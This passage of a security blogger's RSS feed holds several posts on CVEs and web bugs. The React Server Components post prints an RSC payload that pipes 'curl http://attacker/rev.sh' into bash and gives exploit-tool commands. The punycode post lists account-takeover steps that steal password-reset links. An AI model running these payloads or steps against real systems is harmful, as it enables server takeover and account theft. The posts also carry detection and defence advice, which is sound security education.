/></figure><h4>That’s a wrap!!!</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abe8ac5e56e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–20393 (Cisco AsyncOS Zero-Day)]]></title>
            <link>https://cyberleelawat.medium.com/cve-2025-20393-cisco-asyncos-zero-day-72b35798cdf9?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/72b35798cdf9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve-2025-20393]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Fri, 19 Dec 2025 10:47:50 GMT</pubDate>
            <atom:updated>2026-05-28T09:44:57.971Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dlzMdbvSWgCbKx-vd38P_A.png" /></figure><p><strong>Origination:-</strong> Cyber Leelawat</p><p><strong>Website :-</strong> <a href="https://cyberleelawat.vercel.app/">https://cyberleelawat.</a>in</p><h3>Summary</h3><ul><li><strong>CVE ID:</strong> CVE-2025–20393</li><li><strong>Severity:</strong> CVSS <strong>10.0 / Critical</strong> (highest severity)</li><li><strong>Type:</strong> <strong>Remote Code Execution (RCE)</strong> via <strong>Improper Input Validation</strong> <em>(CWE-20)</em></li><li><strong>Products Affected:</strong></li><li>Cisco <strong>Secure Email Gateway (SEG)</strong></li><li>Cisco <strong>Secure Email and Web Manager (SEWM)</strong><br> Both physical and virtual appliances running <strong>Cisco AsyncOS</strong>.</li><li><strong>Exploit Condition:</strong> Spam Quarantine interface must be <strong>enabled and exposed to the Internet</strong>.</li><li><strong>Status:</strong> Actively exploited in the wild; <em>initially unpatched</em>.</li></ul><h3>🔍 1. Introduction</h3><p>CVE-2025–20393 is a <strong>critical zero-day vulnerability</strong> affecting <strong>Cisco Secure Email Gateway (SEG)</strong> and <strong>Secure Email &amp; Web Manager</strong> appliances running <strong>AsyncOS</strong>.</p><p>What makes this CVE extremely dangerous is:</p><ul><li>❌ No authentication required</li><li>🌐 Exploitable over network</li><li>👑 Results in <strong>root-level RCE</strong></li><li>🔓 Often exposed directly to the Internet</li></ul><p>During real-world investigations, many organizations unknowingly exposed their <strong>Cisco Email Security login panels</strong>, making them ideal targets.</p><p>To detect and validate this exposure, I developed a <strong>custom Nuclei template + Python exposure verification tool</strong>, which we’ll cover in detail.</p><h3>🧠 2. What Exactly Is Exposed?</h3><h3>🎯 Root Problem</h3><p>The vulnerability exists due to <strong>improper input validation (CWE-20)</strong> in AsyncOS handling of web-based components like:</p><ul><li>Spam Quarantine</li><li>Login panels</li><li>Administrative endpoints</li></ul><p>When these interfaces are <strong>Internet-facing</strong>, attackers can:</p><ul><li>Fingerprint AsyncOS versions</li><li>Identify vulnerable builds</li><li>Chain exposure into <strong>full RCE exploitation</strong></li></ul><h3>⚠️ 3. Why Exposure Matters (Even Before Exploit)</h3><p>Even without firing an exploit:</p><p>✔️ Login panel exposure<br> ✔️ AsyncOS version disclosure<br> ✔️ SSL misconfigurations<br> ✔️ Identifiable Cisco banners</p><p>= <strong>Perfect reconnaissance for attackers</strong></p><p>This is exactly what my tool focuses on.</p><h3>🛠️ 4. Detection Strategy (How We Find It)</h3><h3>🔹 Layer 1: Nuclei Template (Fast Recon)</h3><p>We use <strong>Nuclei</strong> to quickly identify:</p><ul><li>Cisco Email Security login panels</li><li>AsyncOS fingerprints</li><li>HTTP response behavior</li></ul><h3>🔹 Layer 2: Custom Python Exposure Scanner</h3><p>Once Nuclei confirms a hit, the Python tool performs:</p><ul><li>Version extraction</li><li>Certificate analysis</li><li>Exposure confirmation</li><li>Report generation (HTML + PDF)</li></ul><p>This two-step approach reduces false positives and gives <strong>actionable evidence</strong>.</p><h3>🚀 5. Tool Setup &amp; Usage (Step-by-Step)</h3><p><a href="https://github.com/cyberleelawat/CVE-2025-20393">https://github.com/cyberleelawat/CVE-2025-20393</a></p><h3>1️⃣ Clone the Repository</h3><pre>git clone https://github.com/cyberleelawat/CVE-2025-20393.git<br>cd CVE-2025-20393</pre><p>Repository contains:</p><ul><li>Nuclei template</li><li>Python exposure scanner</li><li>Report generator</li></ul><h3>2️⃣ Run Scanner (Nuclei Detection)</h3><h3>🔹 Single Domain</h3><pre>nuclei -u https://example.com/login -t /home/leelawat/Desktop/CVE-2025-20393/cve-2025-20393.yaml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fg6peAJ0uip1xri4IR8qww.png" /></figure><h3>🔹 Subdomain List</h3><pre>nuclei -l subdomain.txt -t /home/leelawat/Desktop/CVE-2025-20393/cve-2025-20393.yaml</pre><p>✅ If a target matches, move to exposure validation.</p><h3>🧪 3️⃣ Exposure Check (Python Tool)</h3><h3>🛠️ Requirements</h3><pre>sudo apt update<br>sudo apt install python3-venv -y</pre><h3>🔹 Setup Virtual Environment</h3><pre>python3 -m venv venv<br>source venv/bin/activate</pre><h3>🔹 Install Dependencies</h3><pre>pip install requests reportlab</pre><p><strong>Requirements:</strong></p><ul><li>Python 3.8+</li><li>Internet connectivity</li></ul><h3>🚀 4️⃣ Run Exposure Scanner</h3><h3>🔹 Basic Scan (Console Output Only)</h3><pre>python3 cve_2025_20393.py -u https://183.78.170.xxx/login</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j8nANUM3LWl-UPpsdt3UQ.png" /></figure><h3>✅ Example Output Explained</h3><pre>==============================<br> CVE-2025-20393 EXPOSURE CHECK <br> Cisco Email Security Appliance<br> Author: Virendra Kumar | Cyber Leelawat<br>==============================</pre><pre>[!!] EXPOSURE CONFIRMED ✅ (matches nuclei)<br>[+] URL      : <a href="https://183.78.170.xxx/login">https://183.78.170.xxx/login</a><br>[+] Status   : 200<br>[+] Version  : 11.0.4-004</pre><h3>🔥 What This Means</h3><ul><li>✔️ Cisco Email Security login is <strong>publicly accessible</strong></li><li>✔️ Exact <strong>AsyncOS version leaked</strong></li><li>✔️ Target can be mapped to <strong>vulnerable builds</strong></li></ul><h3>💥 Impact (Target-Specific)</h3><pre>- Internet-facing Cisco Email Security Appliance login panel exposed<br>- Exact AsyncOS version disclosed (11.0.4-004) enabling targeted attacks<br>- HTTPS service uses invalid/self-signed certificate (MITM risk)</pre><p>This is <strong>pre-exploitation gold</strong> for attackers.</p><h3>📄 5️⃣ Report Generation (HTML + PDF)</h3><h3>🔹 Generate Reports (Current Directory)</h3><pre>python3 cve_2025_20393.py -u https://183.78.170.xxx/login -r</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KlHGEqSj1vrgTnCWIHtdJQ.png" /></figure><h3>📂 Output</h3><pre>HTML: ./CVE-2025-20393-report.html<br>PDF : ./CVE-2025-20393-report.pdf</pre><h3>🔹 Custom Output Path</h3><pre>python3 cve_2025_20393.py -u https://183.78.170.xxx/login -r /home/leelawat/Desktop/nasa/</pre><p>📂 Output:</p><pre>HTML: /home/leelawat/Desktop/nasa/CVE-2025-20393-report.html<br>PDF : /home/leelawat/Desktop/nasa/CVE-2025-20393-report.pdf</pre><p>Perfect for <strong>clients, SOC teams &amp; reports</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x_mva2dbGTKbNQZOjy2TJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bv55RcIeqUJEDvW1Unm8RA.png" /><figcaption>Report Result</figcaption></figure><h3>🧨 6. Attacker’s Perspective (Why This Is Dangerous)</h3><p>Once exposed, attackers can:</p><ul><li>🎯 Identify exact AsyncOS build</li><li>🔗 Chain with known zero-days</li><li>🧬 Deploy backdoors (AquaShell, tunnels)</li><li>🕵️ Pivot inside enterprise networks</li></ul><p>Security appliances are <strong>high-value targets</strong>.</p><h3>🔐 7. Defensive Recommendations</h3><p>✔️ Never expose Cisco SEG interfaces to Internet<br> ✔️ Restrict via IP allow-list<br> ✔️ Disable unused Spam Quarantine features<br> ✔️ Monitor outbound connections<br> ✔️ Patch immediately when Cisco releases fix</p><h3>🧠 8. Key Takeaways</h3><ul><li>CVE-2025–20393 is <strong>not just an exploit — it’s an exposure problem</strong></li><li>Misconfigurations turn security appliances into attack entry points</li><li>Detection + exposure validation is <strong>critical</strong></li><li>Custom tooling provides <strong>real-world defensive advantage</strong></li></ul><h3>🧑‍💻 Author</h3><p><strong>Name:- Virendra Kumar</strong></p><p><strong>Origination:-</strong> <strong>Cyber Leelawat</strong><br> Security Researcher | Cyber Security Trainer| Red Team | Tool Developer | Bug hunter</p><p>🔗 GitHub: <a href="https://github.com/cyberleelawat">https://github.com/cyberleelawat</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72b35798cdf9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2025–55182 — Critical RCE in React Server Components]]></title>
            <link>https://cyberleelawat.medium.com/cve-2025-55182-critical-rce-in-react-server-components-069f7e123c40?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/069f7e123c40</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <category><![CDATA[cve-2025-55182]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Tue, 09 Dec 2025 17:22:02 GMT</pubDate>
            <atom:updated>2026-05-28T09:46:07.121Z</atom:updated>
            <content:encoded><![CDATA[<h3>CVE-2025–55182 — Critical RCE in React Server Components</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcTX22C4JjIC_WR8_BfPjA.png" /></figure><p>Company :- Cyber Leelawat</p><p>Website :- <a href="http://www.cyberleelawat.in/">www.cyberleelawat.in</a></p><h3>Introduction</h3><p>CVE-2025–55182 is a critical remote code execution (RCE) vulnerability affecting <strong>React Server Components (RSC)</strong> and frameworks that implement RSC, such as Next.js, Waku, and other RSC-enabled stacks. The vulnerability has received a <strong>CVSS score of 10.0</strong>, placing it in the highest severity category.</p><p>The issue allows <strong>unauthenticated attackers</strong> to perform <strong>arbitrary code execution on vulnerable servers</strong>, with no user interaction required.</p><h3>What the Vulnerability Is</h3><p>CVE-2025–55182 exists due to <strong>unsafe deserialization of Flight payloads</strong> within RSC. Flight is a server–client protocol used internally by React Server Components.</p><p>The core problem:</p><blockquote><em>Server-side component payloads are desterilized without proper validation, allowing an attacker to reference arbitrary module paths and execute arbitrary exports.</em></blockquote><p>In other words:</p><ul><li>the server receives a streamed RSC payload,</li><li>blindly uses the module path requested inside that stream,</li><li>loads an attacker-chosen Node.js module</li><li>and executes attacker-supplied code.</li></ul><p>This directly leads to remote code execution.</p><h3>Vulnerable Ecosystem</h3><h3>Popular frameworks affected:</h3><ul><li>Next.js (RSC mode)</li><li>RSC-enabled React Router</li><li>Waku</li><li>parcel-based and vite-based RSC environments</li><li>custom SSR implementations using RSC</li></ul><p>Note: client-only React apps are NOT affected.</p><h3><strong>How the Exploit Works</strong></h3><ol><li>Use a technology-detection tool (e.g. Wappalyzer browser extension)</li></ol><p>2. Check the version of React / Next.js / RSC-related packages (if visible or publicly exposed)</p><p>3. If the site appears to use a vulnerable stack, consider setting up a local copy of a similar stack for testing (in a lab environment)</p><p>4. Use publicly available repositories or resources for reference</p><p><strong>Use This Tool :-</strong></p><p><a href="https://github.com/cyberleelawat/CVE-2025-55182">GitHub - cyberleelawat/CVE-2025-55182: A critical Remote Code Execution (RCE) vulnerability affecting the React Server Components (RSC) implementation within multiple packages including.</a></p><p><strong>Step 1.</strong> git clone <a href="https://github.com/cyberleelawat/CVE-2025-55182.git">https://github.com/cyberleelawat/CVE-2025-55182.git</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kB2kjmA8MgyiQE65svP_4Q.png" /></figure><p><strong>Step 2.</strong> cd CVE-2025–55182/</p><p><strong>Command :-</strong> ls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WsxF-HMZL5wTpsPYPK1cww.png" /></figure><p><strong>Step 3.</strong> Use nuclei template</p><p><strong>Command :-</strong> nuclei -u <a href="https://example.com/">https://example.com</a> -t /home/leelawat/Desktop/Tools/CVE-2025–55182/cve-2025–55182.yaml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FBJc2ExfPtvGFI_ik-9yHQ.png" /></figure><p><strong>Step 4.</strong> Use Python Exploit</p><p><strong>Command :-</strong> python3 CVE-2025–55182.py <a href="https://bot.datall.ai/login?callbackUrl=https%3A%2F%2Fbot.datall.ai%2F">h</a>ttps://example.com -c “id” — no-check-ssl</p><p>python3 CVE-2025–55182.py <a href="https://bot.datall.ai/login?callbackUrl=https%3A%2F%2Fbot.datall.ai%2F">h</a>ttps://example.com -c “whoami”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwXHOvnRpT1RohclmNTpww.png" /></figure><p><strong>Step 5.</strong> Successfully Exploit Boom!</p><h3>Impact</h3><h3>Attackers can:</h3><ul><li>execute arbitrary server-side code</li><li>read/modify server files</li><li>escalate privileges</li><li>achieve persistence</li><li>pivot into internal systems</li></ul><p>This is effectively a <strong>server takeover</strong> scenario.</p><h3>Affected Packages</h3><p>The following React packages are affected:</p><pre>react-server-dom-webpack<br>react-server-dom-parcel<br>react-server-dom-turbopack</pre><p>Affected versions include:</p><pre>19.0.0<br>19.1.0<br>19.1.1<br>19.2.0</pre><p>Any framework depending on these versions is vulnerable.</p><h3>Example Exploit Payload</h3><p>Below is a conceptual malicious RSC Flight payload.</p><pre>POST /_rsc HTTP/1.1<br>Content-Type: text/x-component</pre><pre>1:I[&quot;node:child_process&quot;, [], &quot;execSync&quot;]<br>2:{ &quot;cmd&quot;: &quot;curl <a href="http://attacker/rev.sh">http://attacker/rev.sh</a> | bash&quot; }</pre><p>This payload:</p><ul><li>imports “node:child_process”</li><li>calls execSync()</li><li>downloads and executes a remote shell</li></ul><p>No authentication, no user action required.</p><h3>Attack Requirements</h3><ul><li>No authentication</li><li>No interaction</li><li>No special configuration</li></ul><p>This is an <strong>easy, reliable exploit path</strong> in default vulnerable deployments.</p><h3>Detection Indicators</h3><p>Look for:</p><ul><li>unusual POST requests to RSC endpoints</li><li>process spawning events</li><li>execSync / spawn / fork activity</li><li>suspicious curl/wget execution</li><li>outbound network calls from Node</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*AR7VgezV-ouxWnPY8gBiSA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=069f7e123c40" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Punycode Account Takeover]]></title>
            <link>https://cyberleelawat.medium.com/punycode-account-takeover-d29d0d25a58e?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/d29d0d25a58e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cyberleelawat]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Tue, 02 Dec 2025 13:50:00 GMT</pubDate>
            <atom:updated>2026-05-28T09:46:49.914Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X0VfdTDXM4fAnJ_HSUdrew.png" /></figure><blockquote>Company :- Cyber Leelawat</blockquote><p><strong>Website :-</strong> <a href="http://www.cyberleelawat.in/">www.cyberleelawat.in</a></p><h3>Introduction</h3><p>Punycode account takeover is a social-engineering and spoofing technique that abuses internationalized domain names (IDNs) to create look-alike URLs. It is often used in phishing campaigns to trick users into believing they are visiting a legitimate website — such as a well-known email provider, bank, or company portal — when in reality they are being redirected to an attacker-controlled domain.<br> This method does <strong>not</strong> rely on advanced hacking; instead, it exploits human trust and visual similarity.</p><h3>What is Punycode?</h3><p>Punycode is a way of encoding Unicode characters (non-English characters) into ASCII so they can be used in domain names.<br> For example:</p><ul><li>Unicode: <strong>аpple.com</strong> (notice the first letter is Cyrillic, not Latin)</li><li>Punycode: <strong>xn — pple-43d.com</strong></li></ul><p>Browsers render Unicode characters in the address bar, making the malicious domain look visually identical to the real one. This is called a <strong>homograph attack</strong>.</p><h3>How Attackers Exploit Punycode</h3><p>Attackers register domains that <em>look identical</em> to legitimate brands using Unicode characters such as Cyrillic, Greek, or accented letters.</p><p>Example:</p><ul><li>Real domain: <strong>paypal.com</strong></li><li>Fake IDN domain: <strong>раураl.com</strong><br> (Cyrillic ‘р’, ‘у’, ‘а’, ‘л’ look like Latin letters)</li></ul><p>When converted to Punycode, it becomes something like:</p><ul><li><strong>xn — 80akfb3c.com</strong></li></ul><p>The attacker then uses this domain in phishing campaigns.</p><h3><strong>Real Exploit Puny code Account Takeover Step</strong></h3><p><strong>Step 1.</strong> <em>Create an account example.com use </em><a href="/service/mailto:admin1@gmail.com"><em>admin1@gmail.com</em></a><em> add your burp collaborator’s link behind it.</em></p><p><strong>Step 2.</strong> <em>Try to create a Second account with the same email but you will see the puny code, that website will not accept the email.</em></p><p><strong>Step 3.</strong> <em>You will have to use burp suite Collaborator then add the email with the puny code and send the request.</em></p><p><strong>Step 4.</strong> <em>You will get an error in this email, you have already signed up, that is the puny code account takeover bug.</em></p><p><strong>Step 5. </strong><em>You have to go to the reset password, that mail with the puny code and add the link of burp collaborator behind it and press enter, you will see that they will send a successful link to your puny code email.</em></p><p><strong>Step 6.</strong> <em>If you check the burp Collaborator then you will get the reset link, after that</em></p><p><strong>Step 7.</strong> you password You can change it or Boom! account takeover</p><h3>Common Use Cases in Account Takeover Attempts</h3><h3>a. Phishing Emails</h3><p>Attackers send emails that appear to be from a legitimate service:</p><ul><li>“Your account is locked, please login”</li><li>“Suspicious activity detected”</li></ul><p>The link inside points to a Punycode domain that visually looks legitimate.</p><h3>b. Fake Login Pages</h3><p>The malicious domain hosts a cloned login page:</p><ul><li>Email login</li><li>Social media login</li><li>Corporate SSO page</li></ul><p>Once the user enters credentials, the attacker captures them.</p><h3>c. Bypassing User Awareness</h3><p>Even users who “check the URL carefully” can be fooled because Unicode characters appear visually identical.</p><h3>Why Punycode Attacks Work</h3><ol><li><strong>Human eyes cannot distinguish Unicode look-alike letters</strong><br> (e.g., Cyrillic “а” vs Latin “a”)</li><li><strong>Browsers often display the Unicode version, not the Punycode form</strong><br> So “аmazon.com” looks legit in the address bar.</li><li><strong>SSL certificates can be obtained easily</strong><br> A fake domain can show the <strong>HTTPS lock symbol</strong>, increasing credibility.</li><li><strong>Users generally trust URLs they can read</strong><br> This makes IDN homographs powerful for social engineering.</li></ol><h3>Real-World Impact</h3><p>Punycode-based attacks have been observed in:</p><ul><li>Corporate credential harvesting</li><li>Email account compromise (EAC)</li><li>Payment fraud</li><li>Brand impersonation attacks</li><li>Supply-chain phishing targeting vendors and clients</li></ul><p>Even security-aware users are vulnerable because the domain looks visually correct.</p><h3>6. How to Detect &amp; Prevent Punycode-Based Threats</h3><h3>For Users</h3><ul><li>Manually retype URLs instead of clicking email links.</li><li>Hover over links to inspect the actual domain.</li><li>Enable browser settings that force Punycode display.</li><li>Use password managers — they detect mismatched domains.</li></ul><h3>For Organizations</h3><ul><li>Deploy anti-phishing gateways that detect IDN homographs.</li><li>Block Unicode domains in DNS filtering policies where possible.</li><li>Use strong multi-factor authentication (MFA).</li><li>Monitor for look-alike domain registrations.</li></ul><h3>For Security Teams</h3><ul><li>Threat hunting for newly registered IDN domains similar to your brand.</li><li>Use SPF, DKIM, DMARC to reduce email spoofing.</li><li>Provide awareness training about homograph attacks.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*AR7VgezV-ouxWnPY8gBiSA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d29d0d25a58e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Insecure Account Deletion]]></title>
            <link>https://cyberleelawat.medium.com/insecure-account-deletion-2d5cd0555129?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d5cd0555129</guid>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Sun, 30 Nov 2025 13:49:37 GMT</pubDate>
            <atom:updated>2026-05-28T09:47:43.906Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Company :</strong> Cyber Leelawat</blockquote><p><strong>Website :- w</strong><a href="http://www.cyberleelawat.in/"><strong>ww.cyberleelawat.in</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*toaN6yRSUHUzIEsqkymyWA.png" /></figure><h3>Overview</h3><p><strong>Insecure Account Deletion</strong> is a web application vulnerability where user accounts can be deleted without proper authorization checks.<br> If the server fails to verify that the request is coming from the <em>actual owner</em> of the account, an attacker can delete any user’s account.</p><h3>How This Vulnerability Occurs</h3><p>This issue typically happens when account deletion relies on insecure elements such as:</p><ul><li><strong>User ID</strong> or <strong>username</strong> sent from the client</li><li><strong>Hidden form fields</strong></li><li><strong>Editable cookies or parameters</strong></li></ul><p>If the server implicitly trusts these values without validating the requesting user’s identity, the account deletion becomes insecure.</p><h3>Primary Causes</h3><ol><li><strong>Missing Authorization Check</strong><br> The server does not verify whether the requester owns the account being deleted.</li><li><strong>Predictable User IDs</strong><br> Sequential or guessable user IDs allow attackers to target other accounts.</li><li><strong>Client-Side Trust</strong><br> Sensitive actions rely on client data that users can modify.</li><li><strong>IDOR (Insecure Direct Object Reference)</strong><br> Insecure account deletion is frequently a form of IDOR.</li></ol><h3>Impact</h3><p>If exploited, an attacker may:</p><ul><li>Delete any user’s account</li><li>Cause irreversible loss of user data</li><li>Harm platform integrity and reputation</li><li>Create compliance and legal issues (e.g., GDPR)</li></ul><h3>Example Scenario (High-Level, Safe Explanation)</h3><ol><li>A user clicks on “Delete My Account”.</li><li>The application sends a request like:</li></ol><ul><li>POST /delete Account { &quot;user_id&quot;: 108 }</li></ul><p>3. The server does <strong>not</strong> check whether the logged-in user is actually user_id <strong>108</strong>.</p><p>4. An attacker can modify the user_id to a different value and attempt:</p><ul><li>user_id = 109, 110, 111…</li></ul><p>5. If the server blindly accepts it → <strong>other users’ accounts get deleted</strong>.</p><h3>How to Fix It</h3><h3>1. Enforce Strong Authorization</h3><p>Server must ensure</p><ul><li>The request is authenticated</li><li>The authenticated user is the owner of the account being deleted</li></ul><h3>2. Do Not Trust Client-Side User IDs</h3><p>User identity should come from:</p><ul><li>Session</li><li>Token</li><li>Server-side user context</li></ul><h3>️ 3. Re-authentication Before Deletion</h3><p>Ask for the password or 2FA before deleting the account.</p><h3>4. Secure API Design</h3><p>Use predictable and safe endpoints like:</p><h4>DELETE /account/me</h4><p>instead of:</p><h4>DELETE /account/{id}5. Logging + Rate Limiting</h4><p>Helps detect malicious account deletion attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*Uh42CRQUu1MjnTXEQrj7tA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d5cd0555129" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe | Red Team Engagements Write-up]]></title>
            <link>https://cyberleelawat.medium.com/tryhackme-red-team-engagements-write-up-16062aed3af3?source=rss-a4a8276ca827------2</link>
            <guid isPermaLink="false">https://medium.com/p/16062aed3af3</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Virendra Kumar]]></dc:creator>
            <pubDate>Sun, 09 Nov 2025 15:23:58 GMT</pubDate>
            <atom:updated>2025-11-09T15:23:58.024Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2yp5Jioz_x0wOQ-SLrDUyw.png" /><figcaption>Red Team Enagenments</figcaption></figure><blockquote><strong>Company :-</strong> Cyber Leelawat</blockquote><p><em>Learn the steps and procedures of a red team engagement, including planning, frameworks, and documentation.</em></p><p>Url Link :- <a href="https://tryhackme.com/room/redteamengagements">https://tryhackme.com/room/redteamengagements</a></p><h3>Task 1. Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ajyQCFH0EgtB-ai0u_9ffQ.png" /></figure><h3>Task 2. Defining Scope and Objectives</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8w_x-tj_CL0Xkd4wKwN9Jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0B4XZIrza2bqOPfxjgfswA.png" /></figure><p><strong>What CIDR range is permitted to be attacked?</strong></p><p>10.0.4.0/22</p><p><strong>Is the use of white cards permitted? (Y/N)</strong></p><p>Y</p><p><strong>Are you permitted to access “*.bethechange.xyz?” (Y/N)</strong></p><p>N</p><h3><strong>Task 3. Rules of Engagement</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-AC5-hqLTMG93TyU0Lm4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Zz4skt-ZY85fYFlwq7WL8A.png" /></figure><p><strong>How many explicit restriction are specified?</strong></p><p>3</p><p><strong>What is the first access type mentioned in the document?</strong></p><p>phishing</p><p><strong>Is the red team permitted to attack 192.168.1.0/24? (Y/N)</strong></p><p>N</p><h3>Task 4. Campaign Planning</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M5AOcQ0TzXBcug0E6-nZrw.png" /></figure><h3>Task 5. Engagement Documentation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vyD-KOEOvaGxMzj1QDJhqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4SMnrQZMVaLePStDZnJsA.png" /></figure><h3>Task 6. Concept of Operations</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKeZGO8nkoEMkVyHoxCgAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UPkQW3k_xTAovf6bQsW28Q.png" /></figure><p><strong>How long will the engagement last?</strong></p><p>1 Month</p><p><strong>How long is the red cell expected to maintain persistence?</strong></p><p>3 Weeks</p><p><strong>What is the primary tool used within the engagement?</strong></p><p>Cobalt Strike</p><h3>Task 7. Resource Plan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t6UCODOgrAWTlgCnANtJeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lvtErapwI6OYlHzczZleIA.png" /></figure><p><strong>When will the engagement end?</strong></p><p>11/14/2021</p><p><strong>What is the budget the red team has for AWS cloud cost?</strong></p><p>$1000</p><p><strong>Are there any miscellaneous requirements for the engagement? (Y/N)</strong></p><p>N</p><h3>Task 8. Operations Plan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fu3xZX3hoLbbFAKnhVG_mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*un-hvqF8oZ2anmwtXYtzAw.png" /></figure><p><strong>What phishing method will be employed during the initial access phase?</strong></p><p>Spearphishing</p><p><strong>What site will be utilized for communication between the client and red cell?</strong></p><p>vectr.io</p><p><strong>If there is a system outage, the red cell will continue with the engagement. (T/F)</strong></p><p>F</p><h3>Task 9. Mission Plan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wG7XeTPp5aA1qAqA3IGUyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aM1e6vZCgIdlfWWOvPOauA.png" /></figure><p><strong>When will the phishing campaign end? (mm/dd/yyyy)</strong></p><p>10/23/2021</p><p><strong>Are you permitted to attack 10.10.6.78? (Y/N)</strong></p><p>N</p><p><strong>When a stopping condition is encountered, you should continue working and determine the solution yourself without a team lead. (T/F)</strong></p><p>F</p><h3>Task 10. Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2DGyqGq94ffnsHlsd8x2Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*snXlXfBbSiXgRz_NzErfPg.png" /></figure><h3>Thank You</h3><p>That’s it! See you in the next Room :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16062aed3af3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>